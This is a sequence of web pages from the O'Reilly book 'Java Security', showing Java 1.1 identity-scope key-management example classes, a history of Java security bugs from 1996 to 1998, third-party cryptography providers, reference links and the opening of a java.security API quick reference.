First, let's look at an implementation of the identity class:

Class Definition

public class XYZIdentity extends Identity {
    private int trustLevel;

    protected XYZIdentity() {
    }

    public XYZIdentity(String name, IdentityScope scope)
                                  throws KeyManagementException {
        super(name, scope);
        scope.addIdentity(this);
        trustLevel = 0;
    }

    public void setPublicKey(PublicKey key)
                                  throws KeyManagementException {
        IdentityScope is = getScope();
        Identity i = is.getIdentity(key);
        if (i != null && !equals(i))
            throw new KeyManagementException("Duplicate public key");
        super.setPublicKey(key);
    }

    public void addCertificate(Certificate cert)
                                      throws KeyManagementException {
        Identity i = getScope().getIdentity(cert.getPublicKey());
        if (i != null && !equals(i))
            throw new KeyManagementException("Duplicate public key");
        super.addCertificate(cert);
    }

    public int getTrust() {
        return trustLevel;
    }

    void setTrust(int x) {
        if (x < 0 || x > 10)
            throw new IllegalArgumentException("Invalid trust level");
        trustLevel = x;
    }

    public String toString() {
        return super.toString() + " trust level: " + trustLevel;
    }
}

We've chosen in this class to ensure that an identity always belongs to a scope and so we only provided one constructor. There's a somewhat confusing point here, however. Constructing an identity as part of a scope does not automatically add that identity to the scope. That logic is required either in the constructor (as we've done), or the design of the class will require that the developer using the class explicitly assigns the identity to the scope later. The former case is probably more useful; make sure to assign your identities inside their constructors.

Other than the constructor, we're not required to implement any other methods in our identity class. However, we've chosen to override the setPublicKey() and addCertificate() methods so that those methods throw an exception when an identity is to be assigned a public key that already exists in the identity scope. You'll recall that when we first introduced the Identity class, we mentioned that this logic was not present. Adding that logic is a simple matter of checking to see if the public key in question is already in the identity scope.

Finally, we've introduced a variable in our identity to determine the level of trust that we place in this identity. This is similar to the binary option that javakey gives us as to whether an identity is trusted or not; in our version, we allow the identity to have a level of trust. A trust level of 3 might indicate that the identity is fully trusted and hence should have access to all files; a level of 2 might indicate that the identity should be allowed access only to files in the user's temporary directory; a level of 1 might indicate that the identity should never be allowed to access a local file. The point is, the notion of trust associated with an identity is completely up to the programmer to decide--you're free to assign whatever semantics you like for this (or any other value), or to dispense with such an idea altogether. The idea behind this variable is that the security manager might use it (or other such information) to determine an appropriate security policy.

B.3.2. Implementing a Signer Class

Implementing the Signer class that we require follows virtually the same process:

Class Definition

public class XYZSigner extends Signer {
    private int trustLevel;

    public XYZSigner(String name, IdentityScope scope)
                                      throws KeyManagementException {
        super(name, scope);
        scope.addIdentity(this);
    }

    public void setPublicKey(PublicKey key)
                                      throws KeyManagementException {
        IdentityScope scope = getScope();
        if (scope != null) {
            Identity i = getScope().getIdentity(key);
            if (i != null && !equals(i))
                throw new KeyManagementException(
                                                   "Duplicate public key");
        }
        super.setPublicKey(key);
    }

    public void addCertificate(Certificate cert)
                                      throws KeyManagementException {
        IdentityScope scope = getScope();
        if (scope != null) {
            Identity i = getScope().getIdentity(cert.getPublicKey());
            if (i != null && !equals(i))
                throw new KeyManagementException(
                                                   "Duplicate public key");
        }
        super.addCertificate(cert);
    }

    public int getTrust() {
        return trustLevel;
    }

    void setTrust(int x) {
        if (x < 0 || x > 10)
            throw new IllegalArgumentException("Invalid trust level");
        trustLevel = x;
    }

    public String toString() {
        return super.toString() + " trust level: " + trustLevel;
    }
}

We do not need to provide an overridden method for the setKeyPair() method of the Signer class to ensure that a duplicate private key is not inserted into the identity scope. Since we can only insert a private key with a public key, and since there is a one-to-one correspondence between such keys, we know that if the public keys are unique, the private keys are unique as well.

B.3.3. A Shared System Identity Scope

In the architecture we're examining, there are two identity scopes:

  • The private scope. This scope will hold one and only one instance of XYZSigner. This signer will represent the user who owns that particular database.

  • The public scope. This scope will hold several instances of XYZIdentity, but no signers--since it is to be shared, we don't want it to contain any private keys.

Each of these scopes will be an instance of the XYZFileScope that we showed earlier. To combine them, we'll create another identity scope that holds a reference to both scopes:

Class Definition

public class XYZIdentityScope extends IdentityScope {
    private transient IdentityScope publicScope;
    private transient IdentityScope privateScope;

    public XYZIdentityScope() throws KeyManagementException {
        super("XYZIdentityScope");
        privateScope = new XYZFileScope("/floppy/floppy0/private");
        publicScope = new XYZFileScope("/auto/shared/sharedScope");
        setSystemScope(this);
    }

    public int size() {
        return publicScope.size() + privateScope.size();
    }

    public Identity getIdentity(String name) {
        Identity id;
        id = privateScope.getIdentity(name);
        if (id == null)
            id = publicScope.getIdentity(name);
        return id;
    }

    public Identity getIdentity(PublicKey key) {
        Identity id;
        id = privateScope.getIdentity(key);
        if (id == null)
            id = publicScope.getIdentity(key);
        return id;
    }

    public void addIdentity(Identity identity)
                                      throws KeyManagementException {
        throw new KeyManagementException(
                           "This scope does not support adding identities");
    }

    public void removeIdentity(Identity identity)
                                      throws KeyManagementException {
        throw new KeyManagementException(
                           "This scope does not support removing identities");
    }

    class XYZIdentityScopeEnumerator implements Enumeration {
        private boolean donePrivate = false;
        Enumeration pubEnum = null, privEnum = null;

        XYZIdentityScopeEnumerator() {
            pubEnum = publicScope.identities();
            privEnum = privateScope.identities();
            if (!privEnum.hasMoreElements())
                donePrivate = true;
        }

        public boolean hasMoreElements() {
            return pubEnum.hasMoreElements() ||
                   privEnum.hasMoreElements();
        }

        public Object nextElement() {
            Object o = null;
            if (!donePrivate) {
                o = privEnum.nextElement();
                if (!privEnum.hasMoreElements())
                    donePrivate = true;
            }
            else o = pubEnum.nextElement();
            if (o == null)
                throw new NoSuchElementException(
                                          "XYZIdentityScopeEnumerator");
            return o;
        }
    }

    public Enumeration identities() {
        return new XYZIdentityScopeEnumerator();
    }
}

The idea behind this class is that it is going to hold identities containing private keys, and that those private keys should be held somewhere safe. For this example, we're assuming that the private identity scope database will be stored on a floppy disk somewhere--that way, a user can move the identity scope around with her, and the private key won't be left on a disk where some malicious person might attempt to retrieve it.

This class is completely tailored to a Solaris machine, since we've hardwired the name of the private file to a file on the default floppy drive of a Solaris machine, and we've hardwired the name of the public file to a file that can be automounted on the user's machine. On other machines, the name of the floppy drive will vary, and a complete implementation of this class would really require that filename to be a property. The property can be set to the appropriate value for the hardware on which the Java virtual machine is running. The public database probably shouldn't even be a file; it should be held on a remote machine somewhere and accessed via RMI or another technique. We'll leave those enhancements as an exercise for the reader.

Now that we have the two scopes we're interested in, completing the implementation is a simple matter of:

  • Setting this identity scope to be the system identity scope. This allows the developer to use the standard methods we've already seen to extract information from this scope.

  • Overriding the getIdentity() and identities() methods so that they operate on both included identity scopes. Remember that often identity scopes are disjoint; in this case, however, it makes sense for there to be a single interface to the two identity scopes.

  • Overriding the addIdentity() and removeIdentity() methods to prevent them from changing the underlying identity databases. We'll see how to manipulate the individual database in the next section.

B.3.4. Creating Identities

The XYZ Corporation is concerned about two sorts of identities: identities from corporations and individuals outside the corporation, and identities of employees. The latter must all have private keys in order for the employees to be able to sign documents and will be instances of the XYZSigner class; the former need only public keys and will be instances of the XYZIdentity class.

In order to create these identities, we're going to rely on the facilities provided by javakey to do the bulk of the work for us, then we're going to read the generic entity out of the javakey database and turn it into an XYZ-based entity. This allows us to import or create certificates for these identities, which is something that only javakey can do in Java 1.1.

When a new employee comes to the XYZ Corporation, we must generate a private identity database for that employee on a floppy that can be given to the employee. As a first step, however, we must create the employee in a standard javakey database so that the employee can be given a certificate to accompany her identity. Once we've got the employee into the javakey database, here's the code we use to convert the javakey entry into the XYZIdentityScope we just examined:

Class Definition

public class NewEmployee {
    public static void main(String args[]) {
        try {
            IdentityScope is = IdentityScope.getSystemScope();
            Signer origSigner = (Signer) is.getIdentity(args[0]);

            System.out.println(
                        "Please insert the floppy for " + args[0]);
            System.out.print("Press enter when ready:  ");
            System.in.read();
            XYZFileScope privateScope =
                        new XYZFileScope("/floppy/floppy0/private");
            XYZSigner newSigner = new XYZSigner(args[0], privateScope);
            KeyPair kp = new KeyPair(origSigner.getPublicKey(),
                                      origSigner.getPrivateKey());
            newSigner.setKeyPair(kp);
            newSigner.setInfo(origSigner.getInfo());
            Certificate certs[] = origSigner.certificates();
            for (int i = 0; i < certs.length; i++)
                newSigner.addCertificate(certs[i]);
            newSigner.setTrust(Integer.parseInt(args[1]));
            privateScope.save();

            XYZFileScope sharedScope =
                        new XYZFileScope("/auto/shared/sharedScope");
            XYZIdentity newId = new XYZIdentity(args[0], sharedScope);
            newId.setPublicKey(origSigner.getPublicKey());
            newId.setInfo(origSigner.getInfo());
            certs = origSigner.certificates();
            for (int i = 0; i < certs.length; i++)
                newId.addCertificate(certs[i]);
            newId.setTrust(Integer.parseInt(args[1]));
            sharedScope.save();
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

This program is then run with the name of the employee as an argument. When the program is run, two things happen:

  1. The correct private key database is created and written to the floppy. The private key database has the signing identity of the new employee loaded into it.

  2. The shared public database is opened, and the identity of the new employee is added to it.

In both cases, it was necessary to read the existing data out of the entity read from the javakey database and convert that data into an XYZ-based class. We could have used the existing object (a subclass of the Identity or Signer class), but that would not have allowed us to associate a level of trust with these entities in our database. After the program has run, both databases have the desired entity, with the desired set of keys.

When the system administrator for the XYZ Corporation receives a public key (and a certificate) for an entity that is not going to be a signer within the XYZ Corporation, a similar procedure would need to be followed to enter the certificate into the javakey database, and then extract out the new identity and update only the shared identity scope. Code to do that would be very similar to the code shown above.

Previous | Home | Next
B.2. Identity Scopes | Book Index | B.4. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

B.4. Summary

In this appendix, we've shown an example of an identity-based key management system. Such a system is the only choice for key management for developers in Java 1.1.

The identity-based key management system does have one advantage: it allows the retrieval of identity objects from the database, while the keystore-based system only allows for retrieval of keys and certificates. This means that an identity-based system can embed within it other information about an entity (including, for example, a level of trust associated with that individual); this other information is available to users of the database in a straightforward way.

Previous | Home | Next
B.3. Key Management in an Identity Scope | Book Index | C. Security Resources
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security Resources (Java Security)

 Java Security Search this book

Appendix C. Security Resources

Contents:

Security Bugs
Third-Party Security Providers
Security References

Books are very useful for learning some things, and hopefully you've gotten some benefit from the one you're holding in your hand. However, for some types of information, the Internet remains the better choice. In this appendix, we'll list and discuss various network resources that relate to Java and security.

One reason why this information is better found on the Internet is because it is subject to rapid change. The APIs we've discussed may remain fairly stable (despite the big changes in many of them between 1.1 and 1.2[1]), but the information to be found in these resources is more dynamic.

[1]1.2 is now Java 2.

C.1. Security Bugs

Early in my computer science career, I handed in an exam that ended up receiving a lower grade than I had expected.[2] As part of the exam, I was asked to write an algorithm, prove that it was correct, and then provide an implementation of the algorithm.

[2]Okay, that was not an unusual event for me...

While my algorithm and its accompanying proof were completely correct, my implementation received a failing grade. This was a rather dispiriting result: I had come up with a solution and proved that the solution was correct. But the "real" solution--the implementation--was still flawed.

Such is the potential problem with implementing a security model. A lot of design and analysis has gone into Java's default security model, and hopefully you'll put your own effort into making your own applications secure. But no matter how sound the design of a security model, in the end it is the implementation that matters.

In this section, we'll discuss some past bugs in Java's security implementation and list some common resources for finding out about and fixing present bugs.

Few issues in the Java world receive more attention than security bugs; report of a new bug is guaranteed to produce a flurry of activity. As a result, readers of the trade press often have the idea that Java is riddled with security bugs, or that it isn't secure to begin with. This is not the case. While some important bugs in Java's security implementation have been reported, the impact of these bugs has (at least until now) been minimal.

Bugs that are reported against Java's security model fall into one of five categories:

  1. Reports that are not bugs, but that arise from a lack of understanding of Java's security model

    There are two types of very common bugs in this category: applets that perform annoying tasks, and applets that seem to break out of the sandbox. The former category includes applets that take lots of CPU time or otherwise consume many resources. As we mentioned at the outset of this book, such attacks are annoying but are not security attacks.

    The latter category often involves bugs that hinge upon someone having installed a local class file (or worse, a local native library); as we know by now, these local class files are treated as trusted classes. When one of these local classes is able to read (or remove) files on your disk, contact a machine on your local network, or engage in some other potentially malicious behavior, word goes out that Java is not secure, or at best has bugs in its security model.

    The lesson to learn from these reports is this: no computer security model is a substitute for vigilant practices by the end user. If your policy is never to run shareware programs downloaded from the Internet, then your policy should be never to install local classes on your system. And while newer versions of browsers, along with the ability in 1.2 to run applications in a secure environment, help to mitigate the potential danger of installing a local class file, such features will never obviate the need for users and system administrators to understand and work with the security model. There may be real bugs in the Java implementation--but don't assume that all reports you hear about the sandbox being broken fall into that category.

  2. Bugs that are misclassified; that is, actual bugs that are reported as being security bugs when they are not

    As we've seen, security is pervasive in the Java platform--the bytecode verifier, the class loader, the security manager, and the compiler all have aspects of security to them. Hence, bugs in these areas are often considered security bugs even when they are not. For example, a bug in the bytecode verifier is usually assumed to be a security bug, even if it is not; if the verifier doesn't accept a particular construct that it should accept, for example, no security concerns arise.

  3. Web-related bugs that are not Java-specific

    Often, security problems on the Internet are associated with Java without any direct cause. In particular, bugs related to JavaScriptTM and to ActiveX often fall into this category.

    When the first reports of ActiveX security bugs were circulated, there was a lot of discussion about "active content"; the assertion in many quarters was that the security problems that plagued ActiveX were inherent in any active content system. This assertion attempted to place Java in the same light as ActiveX since both were active content systems. The reality is that Java and ActiveX have very different security models.

    Similarly, bugs about JavaScript are often confused with bugs about Java, in part because of the name. It is probably well known by this point, but it doesn't hurt to reiterate: JavaScript and Java are completely different technologies produced by separate companies (Netscape and Sun, respectively). The two technologies are complementary in many ways, but they are fundamentally different from a security perspective.

    Finally, Java is not immune to security problems that plague the Web in general. Data that is sent between sites among Java applets and servers can be snooped just like data that is sent via HTTP can be snooped (unless the Java traffic is using SSL or another encryption technique). A hacker that sets up a site to impersonate XYZ.com will be able to serve Java applets just as it is able to serve HTML.

  4. Bugs in third-party trusted classes

    When you install third-party classes, it is possible that one of them may breach the security model that you think is in place: it may provide a mechanism for an untrusted class to open a file, for example, based upon the permissions normally given to the third-party class.

    Complicating this factor is the manner in which these classes are often installed: they are often put into a directory and the user's CLASSPATH is globally set to include those classes. Now untrusted classes will be able to access the third-party classes.

  5. Bugs in the Java implementation

    There have been several well-publicized bugs that do involve Java's security implementation; as with any large computer system, there are bound to be others.

This last point should not minimized--there have been and will be bugs in the Java security implementation. But the potential for bugs and their potential impact must be weighed against the potential benefits of using Java. I know of one corporation where Java is not allowed to be used for any internal project. This site is not worried about employees doing malicious things to other employees, and they filter out Java class files at their corporate firewall, but developers at this company are still not permitted to use Java for any internal project due to security concerns.

When I asked about this policy, I was told that this corporation had "zero-tolerance" for security problems, and the mere risk of a Java security bug was enough for them to forbid the use of Java. Of course, this site that had zero-tolerance for security problems had a floppy disk drive on every one of their desktop computers, and users routinely took files to and from the office via floppy disks. The potential for a virus being spread by floppy disk drive (which is very real) was outweighed for them by the benefit of their users doing work at home. Meanwhile, the thought that Java would somehow spontaneously corrupt their isolated network was, for them, enough to outweigh any of the potential benefits they saw to using Java within their extremely distributed, heterogeneous network. Assessing the security of a platform always involves assessing the potential risks and the potential rewards, though apparently that is sometimes hard to do.

C.1.1. Java Security Bugs

One of the ways to assess the potential impact of Java security bugs is to understand the bugs that have occurred to date and their relative impact. The fact that all these bugs have been fairly minor and quickly fixed is of some comfort. That is not to say that a future bug won't be more devastating or harder to fix; the point here is really to shed light on the bugs that have been found.

The bugs we'll discuss in this section all have another property: attacks based on these bugs were very hard to construct. In fact, attacks based on these bugs never made it out onto the Internet or other networks; the bugs were all reported by various researchers, and often even the researchers had difficulty in constructing an attack against them.

Here's a chronology of security bugs that have been found in Java through November 1998. There was an additional bug reported in July 1998 regarding the class loader, but this applied only to Netscape's implementation, not to the standard JDK.

DNS spoofing

In February 1996, the first Java security bug was posted. It involved a DNS spoofing scenario in which an applet could make a connection to a third-party host other than the one from which it was loaded. Such an attack required access by the attacker to a DNS server that was used by the user and knowledge of the IP address of the third-party machine. DNS spoofing is a general problem (i.e., this bug falls into category 3 in our above list), but Java was fixed in 1.0.1 to circumvent this scenario.

Class loader implementation bug

In March 1996, a bug was found that allowed an applet to load a class referenced by an absolute pathname. This bug was fixed in 1.0.1.

Verifier implementation bug

In March 1996, a bug was discovered that took advantage of an implementation error in the bytecode verifier. An attack via this bug needed to be very sophisticated, but it did allow the applet to perform any operation (delete a file, write a file, etc.) on the user's machine. This bug was fixed in 1.0.2.

URL name resolution attack

In April 1996, a bug related to an obscure network configuration was reported. This bug required that the user's machine be running in a DNS domain that it was not registered to and that the attacker's machine be running in that same DNS domain. This bug was fixed in 1.0.2.

Class loader bug

In May 1996, a bug in the class loader was discovered that allowed two applets loaded in different class loaders to exploit a way of casting between different classes with the same distinct name. This bug was fixed in 1.1.

Verifier implementation bug

In March 1997, Sun discovered a bug in the implementation of the verifier. Exploiting this bug would have required knowledge of the bug itself as well as writing Java bytecodes by hand. This bug was fixed in 1.1.1.

Class signing bug

A bug in the getSigners() method of the Class class was discovered in April 1997. This bug allowed code signed by one entity to be treated as if were signed by a different entity (possibly with more access to the user's machine). This bug was fixed in 1.1.2.

Verifier implementation bug

A bug that could allow the VM to crash in the bytecode verifier was discovered in May 1997; this bug was fixed in 1.1.2.

Illegal type casting

A bug related to illegal type casting was reported in June 1996. This bug allowed an applet to undermine the typing system of Java. This bug was fixed in 1.1.3.

C.1.2. Tracking Security Bugs

The nature of tracking security bugs makes it impossible to track them through a book such as this; we're sure that the above list is already out of date. Hence, the better way to track security issues with Java's implementation is to check periodically the following resources on the Web.

An important point to realize about these sites and the bugs we've just listed is that much of the research on security implementation bugs occurs outside of Sun. Sun's approach to Java security is to achieve security by openness--that is, the more people who can examine the platform for implementation bugs, the better that implementation will become. This is one reason why the JDK source code is freely available for noncommercial purposes.

http://java.sun.com/sfaq/chronology.html

This page lists the known bugs in the security implementation (the above list was culled from this page). New bugs and their fixes are reported here first.

http://www.cert.org/

The CERT organization tracks security-related bugs for all types of computer systems, including Java implementations. Java-related security bugs are often published as CERT advisories.

http://www.cs.princeton.edu/sip/

Many of the bugs in Java's security implementation have been discovered as a result of work done at Princeton's Security Internet Programming (SIP) group. This page summarizes their work, including several of the bugs that were listed above.

Work at SIP is funded by many companies, including Sun itself.

news://comp.security.announce

This newsgroup tracks security-related announcements about all systems, including Java.

http://kimera.cs.washington.edu/

This research group is also responsible for finding some of the bugs that were listed above.

http://www.alw.nih.gov/Security/security-advisories.html

This site has links to several services that publish advisories when Java (and other) security-related bugs are discovered.

Previous | Home | Next
B.4. Summary | Book Index | C.2. Third-Party Security Providers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Third-Party Security Providers (Java Security)

 Java Security Search this book

C.2. Third-Party Security Providers

There is an increasing number of third-party security providers for both the standard Java Cryptography Architecture and for the Java Cryptography Extension. A partial list of these security providers follows. Note that most of them are based outside the United States. As we discussed in Chapter 13, "Encryption", this frees some restrictions and places other restrictions upon their use: the non-U.S. implementations of the JCE are freed from the export restrictions of the U.S. government (but may still be subject to other export and import restrictions). However, these packages may be subject to patent restrictions--especially within the United States if they include RSA or RC4 forms of cryptography (even if the package originated outside the United States), and within the U.S. and Europe if they include IDEA encryption.

The following list is not exclusive: new providers will certainly have been written in the time this book has been published, and the algorithms provided by each entry in the list are subject to change. In addition to the listed engines, these packages will all provide the necessary key classes and engines to support the algorithms in the package.

  • Baltimore Technologies (http://www.baltimore.ie/jcrypto.htm)

    The J/Crypto product of Baltimore Technologies in Ireland furnishes a security provider for the standard JCA that includes implementations of the following engines:

    Message digests: MD5 and SHA

    Digital signatures: DSA and RSA/SHA

    In addition, J/Crypto provides a JCE-compatible replacement that includes the following engines:

    Cipher: DES, DESede, RSA, RC4, PBE

    Key agreement: Diffie-Hellman

  • IAIK-JCE (http://kopernikus.iaik.tu-graz.ac.at/JavaSecurity/index.htm)

    This package from the Institute for Applied Information Processing and Communications in Austria (IAIK) comes with a security provider that performs the following:

    Digital signatures: RSA/MD5 and RSA/SHA

    Message digests: MD5 and SHA

    Certificate and CRL classes: X509

    While IAIK must be purchased for commercial use, it is free for noncommercial use.

    IAIK also provides a JCE-compatible replacement that includes the following engines:

    Cipher: DES, DESede, IDEA, RC2, RC4

  • JCP Computer Services LTD (http://www.jcp.co.uk/products/index.html)

    The JCP Crypto product of JCP Computer Services LTD in the United Kingdom furnishes a security provider that includes implementations of the following engines:

    Message digests: MD5 and SHA

    Digital signatures: RSA/MD5 and RSA/SHA

    JCP Crypto also comes with a JCE replacement that includes implementations of the following:

    Cipher: DES, DESede, IDEA, RSA, RC4

  • Systemics LTD (http://www.systemics.com/software/cryptix-java/)

    The Cryptix package from Systemics LTD in the United Kingdom furnishes a security provider that includes implementations of the following engines:

    Message digest: Haval, MD2, MD4, MD5, RIPE-MD128, RIPE-MD160, SHA

    Digital signature: RSA with MD2, MD4, MD5 and SHA, El Gamal

    In addition, Cryptix supplies a replacement for the JCE that includes the following:

    Cipher: Blowfish, CAST 5, DES, DESede, IDEA, Loki, RC2, RC4, Safer, Speed, Square, El Gamal

    Cryptix is freely available.

  • RSA Data Security, Inc. (http://www.rsa.com/rsa/products/jsafe/)

    The JSafe product from RSA Data Security in the United States furnishes a security provider that implements the following:

    Message digest: MD5, SHA

    Digital signature: RSA/MD5, RSA/SHA

    In addition, JSafe has a JCE-security provider that implements the following:

    Cipher: DES, DESede, RC2, RC4, RC5

    Key agreement: Diffie-Hellman

    Since RSA is the holder of the patents for these algorithms in the United States, they are able to sell licenses for this technology within the U.S. Note that unlike the other items listed in this section, the JCE security provider is just that; it requires the official JCE from Sun. The remaining JCE packages come with their own JCE implementation.

Previous | Home | Next
C.1. Security Bugs | Book Index | C.3. Security References
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security References (Java Security)

 Java Security Search this book

C.3. Security References

Finally, here is a number of white papers and other references that are of general interest:

http://java.sun.com/security/

This is the main index site for all security-related features of the JDK. In particular, this page has links to security white papers, API and tool documentation, security specifications, and more. This site also has links to many of the other sites we've listed here.

http://java.sun.com/sfaq/

This is the Frequently Asked Questions page for Java security. This page primarily addresses what applets can and cannot do.

http://java.sun.com/products/jdk1.2/docs/guide/security/security-spec.html

This document is the specification for the 1.2 Java security architecture; it provided invaluable background for this book. When you download the JDK 1.2 documentation, this document can be found at $JAVAHOME/docs/guide/security/spec/security-spec.html.

http://www.users.zetnet.co.uk/hopwood/papers/compsec97.html

This document gives an interesting perspective on the topic of authentication, and in particular whether Java's techniques for authentication are secure.

http://www.doc.gov/

The Department of Commerce of the U.S. government. The Commerce Department governs and publishes the export restrictions of encryption and can grant exceptions for exporting encryption technology.

http://www.crypto.com/

The Export Policy Resource page contains a number of links and other references to sites concerned with the U.S. government encryption policies.

Bruce Schneier. Applied Cryptography. John Wiley & Sons, New York, NY. 1996

Okay, it is not a web site, but this book is another invaluable reference for details of all the cryptographic topics of this book (Mr. Schneier's web site, for the library-impaired, is http://www.counterpane.com/).

Jonathan Knudsen. Java Cryptography. O'Reilly & Associates, Sebastopol, CA. 1998

For a discussion of implementing cryptographic algorithms in Java with a series of excellent examples, check out this book.

Previous | Home | Next
C.2. Third-Party Security Providers | Book Index | D. Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Quick Reference (Java Security)

 Book Home Java Security Search this book

Appendix D. Quick Reference

Contents:

Package java.security
Package java.security.cert
Package java.security.interfaces
Package java.security.spec
Package javax.crypto
Package javax.crypto.interfaces
Package javax.crypto.spec
Miscellaneous Packages

This appendix contains a quick-reference guide to the classes that we have discussed in this book. The primary focus is on classes that are in the java.security package and its sub-packages, as well as the javax.crypto extension package. Accordingly, the classes listed in this appendix are organized by their primary package. Of course, there are a number of security-related classes--such as the various permission classes--that do not belong to one of these packages; these are listed in Section D.8, "Miscellaneous Packages" at the end of this appendix. Information in this appendix is based only on Java 1.2.[1]

[1]1.2 is now Java 2.

D.1. Package java.security

Class java.security.AccessControlContext

An access control context allows the access controller to substitute a different context (that is, a different set of protection domains) than the context provided by the stack of the current thread. This class might be used by a server thread to determine if a particular calling thread should be allowed to perform particular operations.

Class Definition

public final class java.security.AccessControlContext
    extends java.lang.Object {

    // Constructors
    public AccessControlContext(ProtectionDomain[]);

    // Instance Methods
    public void checkPermission(Permission);
    public boolean equals(Object);
    public int hashCode();
}

See also: AccessController

Class java.security.AccessController

The access controller is responsible for determining whether or not the current thread can execute a given operation. This decision occurs in the checkPermission() method and is based upon all the protection domains that are on the stack of the calling thread and the set of permissions that have been granted to those protection domains. The access controller is heavily used by the security manager to enforce a specific security policy, and it may be used by arbitrary code to enforce an application-specific security policy as well.

Class Definition

public final class java.security.AccessController
    extends java.lang.Object {

    // Class Methods
    public static native Object doPrivileged(PrivilegedAction);
    public static native Object doPrivileged(PrivilegedAction,
                               AccessControlContext);
    public static native Object
                               doPrivileged(PrivilegedExceptionAction);
    public static native Object doPrivileged(PrivilegedExceptionAction,
                               AccessControlContext);
    public static void checkPermission(Permission);
    public static AccessControlContext getContext();
}

See Also:Permission, ProtectionDomain, Policy

Class java.security.AlgorithmParameterGenerator

This engine class is used to generate algorithm-specific parameters, which may then be turned into algorithm parameters specifications to be used to initialize other engine classes. In normal usage, those engines can be initialized directly via the same init() methods that exist in this class; hence, this class is little used.

Class Definition

public class java.security.AlgorithmParameterGenerator {

    // Constructors
    protected AlgorithmParameterGenerator(
                    AlgorithmParameterGeneratorSpi, Provider, String);

    // Class Methods
    public static final AlgorithmParameterGenerator
                                        getInstance(String);
    public static final AlgorithmParameterGenerator
                                    getInstance(String, String);

    // Instance Methods
    public final String getAlgorithm();
    public final Provider getProvider();
    public final void init(int);
    public final void init(int, SecureRandom);
    public final void init(AlgorithmParameterSpec);
    public final void init(AlgorithmParameterSpec, SecureRandom);
    public final AlgorithmParameters generateParameters();
}

See also: AlgorithmParameters

Class java.security.AlgorithmParameterGeneratorSpi

This class is the Security Provider Interface for the algorithm parameter generator. If you want to implement your own algorithm parameter generator, you subclass this class and register your implementation with an appropriate security provider.

Class Definition

public abstract class java.security.AlgorithmParameterGeneratorSpi {

    // Instance Methods
    protected abstract void engineInit(int, SecureRandom);
    protected abstract void engineInit(
                                AlgorithmParameterSpec, SecureRandom);
    protected abstract AlgorithmParameters engineGenerateParameters();
}

See also: AlgorithmParameterGenerator

Class java.security.AlgorithmParameters

This engine class is used to generate algorithm-specific parameter specifications, which may then be used to initialize other engine classes. In normal usage, those engines can be initialized directly via the same init() methods that exist in this class; hence, this class is little used.

Class Definition

public class java.security.AlgorithmParameters {

    // Class Methods
    public static final AlgorithmParameters getInstance(String);
    public static final AlgorithmParameters getInstance(
                                    String, String);

    // Constructors
    protected AlgorithmParameters(AlgorithmParametersSpi,
                                Provider, String);
    // Instance Methods
    public final String getAlgorithm();
    public final Provider getProvider();
    public final void init(AlgorithmParameterSpec);
    public final void init(byte[]);
    public final void init(byte[], String);
    public final AlgorithmParameterSpec getParameterSpec(Class);
    public final byte[] getEncoded();
    public final byte[] getEncoded(String);
    public final String toString();
}

See also: KeyPairGenerator

Class java.security.AlgorithmParametersSpi

This is the Security Provider Interface for algorithm parameters. If you want to implement your own algorithm parameters, you do so by subclassing this class and registering your implementation with an appropriate security provider.

Class Definition

public abstract class java.security.AlgorithmParametersSpi
        extends java.lang.Object {

    // Constructors
    public AlgorithmParametersSpi();

    // Protected Instance Methods
    protected abstract byte[] engineGetEncoded();
    protected abstract byte[] engineGetEncoded(String);
    protected abstract AlgorithmParameterSpec
                            engineGetParameterSpec(Class);
    protected abstract void engineInit(AlgorithmParameterSpec);
    protected abstract void engineInit(byte[]);
    protected abstract void engineInit(byte[], String);
    protected abstract String engineToString();
}

See also: AlgorithmParameters

Class java.security.AllPermission

This class represents permissions to perform any operation. This permission is typically granted to extension classes, which (like the core API) need to be able to perform any operation. Although it is a permission class, instances of this class have no name and no actions. The implies() method of this class always returns true.

Class Definition

public final class java.security.AllPermission
    extends java.security.Permission {

    // Constructors
    public AllPermission();
    public AllPermission(String, String);

    // Instance Methods
    public boolean equals(Object);
    public String getActions();
    public int hashCode();
    public boolean implies(Permission);
    public PermissionCollection newPermissionCollection();
}

See also: Permission

Class java.security.BasicPermission

A basic permission represents a binary permission--that is, a permission that you either have or do not have. Hence, the action string in a basic permission is unused. A basic permission follows the same naming convention as java properties: a series of period-separated words, like "exitVM" or "xyz.payrollPermission". The BasicPermission class is capable of wildcard matching if the last word in the permission is an asterisk. This class serves as the superclass for a number of default permission classes.

Class Definition

public abstract class java.security.BasicPermission
    extends java.security.Permission
    implements java.io.Serializable {

    // Constructors
    public BasicPermission(String);
    public BasicPermission(String, String);

    // Instance Methods
    public boolean equals(Object);
    public String getActions();
    public int hashCode();
    public boolean implies(Permission);
    public PermissionCollection newPermissionCollection();
}

See also: Permission, PermissionCollection

Class java.security.CodeSource

A code source encapsulates the location from which a particular class was loaded and the public keys (if any) that were used to sign the class. This information is used by a secure class loader to define a protection domain associated with the class; typically, the class loader is the only object that uses a code source.

Class Definition

public class java.security.CodeSource
    extends java.lang.Object
    implements java.io.Serializable {

    // Constructors
    public CodeSource(URL, Certificate[]);

    // Instance Methods
    public boolean equals(Object);
    public final Certificate[] getCertificates();
    public boolean implies();
    public final URL getLocation();
    public int hashCode();
    public String toString();
}

See also: SecureClassLoader, ProtectionDomain

Class java.security.DigestInputStream

A digest input stream is an input filter stream that is associated with a message digest object. As data is read from the input stream, it is automatically passed to its associated message digest object; once all the data has been read, the message digest object will return the hash of the input data. You must have an existing input stream and an initialized message digest object to construct this class; once the data has passed through the stream, call the methods of the message digest object explicitly to obtain the hash.

Class Definition

public class java.security.DigestInputStream
    extends java.io.FilterInputStream {

    // Variables
    protected MessageDigest digest;

    // Constructors
    public DigestInputStream(InputStream, MessageDigest);

    // Instance Methods
    public MessageDigest getMessageDigest();
    public void on(boolean);
    public int read();
    public int read(byte[], int, int);
    public void setMessageDigest(MessageDigest);
    public String toString();
}

See also: DigestOutputStream, MessageDigest

a>
Class java.security.DigestOutputStream

A digest output stream is a filter output stream that is associated with a message digest object. When data is written to the output stream, it is also passed to the message digest object so that when the data has all been written to the output stream, the hash of that data may be obtained from the digest object. You must have an existing output stream and an initialized message digest object to use this class.
